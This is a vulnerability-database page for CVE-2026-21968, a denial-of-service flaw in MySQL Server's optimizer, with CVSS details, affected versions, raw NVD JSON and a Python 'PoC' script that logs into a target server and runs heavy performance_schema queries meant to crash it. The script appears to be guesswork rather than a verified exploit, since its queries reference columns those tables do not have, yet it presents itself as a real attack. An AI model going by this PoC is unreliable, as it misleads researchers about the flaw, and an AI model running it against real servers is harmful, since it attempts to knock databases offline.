Security Vulnerability Report
中文
CVE-2026-21968 CVSS 6.5 MEDIUM

CVE-2026-21968

Published: 2026-01-20 22:16:00
Last Modified: 2026-01-29 15:26:58

Description

Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Optimizer). Supported versions that are affected are 8.0.0-8.0.44, 8.4.0-8.4.7 and 9.0.0-9.5.0. Easily exploitable vulnerability allows low privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 6.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:oracle:mysql_server:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:oracle:mysql_server:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:oracle:mysql_server:*:*:*:*:*:*:*:* - VULNERABLE
MySQL Server 8.0.0 - 8.0.44
MySQL Server 8.4.0 - 8.4.7
MySQL Server 9.0.0 - 9.5.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-21968 PoC - MySQL Optimizer DoS # Requires low-privilege MySQL user with SELECT permission import mysql.connector import sys def exploit_mysql_dos(target_host, username, password, database='mysql'): """ Exploit CVE-2026-21968 by triggering MySQL Optimizer crash This PoC demonstrates the DoS condition in MySQL Optimizer component """ try: conn = mysql.connector.connect( host=target_host, user=username, password=password, database=database ) cursor = conn.cursor() # Malicious query to trigger optimizer vulnerability # This query pattern exploits the optimizer's handling of complex joins malicious_queries = [ # Pattern 1: Complex multi-table join with aggregation """ SELECT t1.id, COUNT(t2.id) as cnt FROM performance_schema.events_statements_current t1 INNER JOIN performance_schema.events_statements_history t2 ON t1.id = t2.id INNER JOIN performance_schema.events_statements_summary_by_digest t3 ON t2.id = t3.schema_name INNER JOIN performance_schema.events_statements_summary_global_by_digest t4 ON t3.id = t4.schema_name GROUP BY t1.id HAVING cnt > 0 ORDER BY cnt DESC LIMIT 100 """, # Pattern 2: Subquery with window functions """ SELECT *, ROW_NUMBER() OVER (PARTITION BY id ORDER BY id) as rn FROM ( SELECT id, digest_text FROM performance_schema.events_statements_current WHERE digest_text IS NOT NULL ) AS subq1 INNER JOIN ( SELECT id, digest_text FROM performance_schema.events_statements_history WHERE digest_text IS NOT NULL ) AS subq2 ON subq1.id = subq2.id """ ] for i, query in enumerate(malicious_queries): print(f"[*] Executing test query {i+1}/{len(malicious_queries)}...") try: cursor.execute(query) print(f"[+] Query {i+1} executed (server may be vulnerable)") except mysql.connector.Error as e: if "Lost connection" in str(e) or "Gone away" in str(e): print(f"[!] Server crashed or connection lost - VULNERABLE!") return True else: print(f"[-] Query {i+1} failed: {e}") cursor.close() conn.close() return False except Exception as e: print(f"[-] Connection failed: {e}") return False if __name__ == "__main__": if len(sys.argv) < 4: print(f"Usage: python {sys.argv[0]} <host> <username> <password>") sys.exit(1) host = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] print(f"[*] Testing CVE-2026-21968 on {host}") vulnerable = exploit_mysql_dos(host, user, pwd) if vulnerable: print("[!] Target is VULNERABLE to CVE-2026-21968") else: print("[*] Target appears NOT vulnerable or query did not trigger condition")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-21968", "sourceIdentifier": "[email protected]", "published": "2026-01-20T22:15:59.853", "lastModified": "2026-01-29T15:26:57.960", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Optimizer). Supported versions that are affected are 8.0.0-8.0.44, 8.4.0-8.4.7 and 9.0.0-9.5.0. Easily exploitable vulnerability allows low privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 6.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H)."}, {"lang": "es", "value": "Vulnerabilidad en el producto MySQL Server de Oracle MySQL (componente: Server: Optimizer). Las versiones compatibles afectadas son 8.0.0-8.0.44, 8.4.0-8.4.7 y 9.0.0-9.5.0. La vulnerabilidad fácilmente explotable permite a un atacante con pocos privilegios y acceso a la red a través de múltiples protocolos comprometer MySQL Server. Los ataques exitosos de esta vulnerabilidad pueden resultar en la capacidad no autorizada de causar un bloqueo o una caída frecuentemente repetible (DoS completo) de MySQL Server. Puntuación Base CVSS 3.1 6.5 (Impactos en la disponibilidad). Vector CVSS: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:oracle:mysql_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.0.0", "versionEndIncluding": "8.0.44", "matchCriteriaId": "C31CF81B-A295-4D90-84D3-377D7184D59D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:oracle:mysql_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.4.0", "versionEndIncluding": "8.4.7", "matchCriteriaId": "19AAA920-1429-4F6F-A191-31632570991C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:oracle:mysql_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.0.0", "versionEndIncluding": "9.5.0", "matchCriteriaId": "80A941A0-B16F-477B-9062-EF768F4CAAD4"}]}]}], "references": [{"url": "https://www.oracle.com/security-alerts/cpujan2026.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}